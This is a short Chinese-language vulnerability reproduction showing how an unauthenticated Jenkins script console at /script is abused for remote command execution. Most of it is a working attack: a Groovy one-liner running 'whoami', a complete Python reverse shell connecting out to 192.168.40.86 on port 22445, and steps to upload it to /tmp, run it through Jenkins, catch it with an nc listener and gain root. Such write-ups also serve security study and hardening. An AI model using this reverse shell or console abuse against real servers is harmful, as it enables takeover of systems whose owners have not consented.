一、背景
Jenkins是一个功能强大的应用程序,允许持续集成和持续交付项目,无论用的是什么平台。这是一个免费的源代码,可以处理任何类型的构建或持续集成。集成Jenkins可以用于一些测试和部署技术。Jenkins是一种软件允许持续集成。
二、漏洞原因
jenkins 未设置帐号密码,或者使用了弱帐号密码
三、漏洞复现
1、访问http://192.168.10.27:1234/script,发现不需要登录就可以访问。
2、输入命令执行,发现可以执行任意命令
println "whoami".execute().text
3、用python编写反弹式shell脚本(test.py)。
#!/usr/bin/python
# This is a Python reverse shell script
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.40.86",22445));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
将test.py上传到网络文件服务器上
4、上传test.py到目标服务器的/tmp目录下
5、通过jenkis执行test.py脚本,同时在192.168.40.86上执行nc监听。
6、成功获取目标主机root权限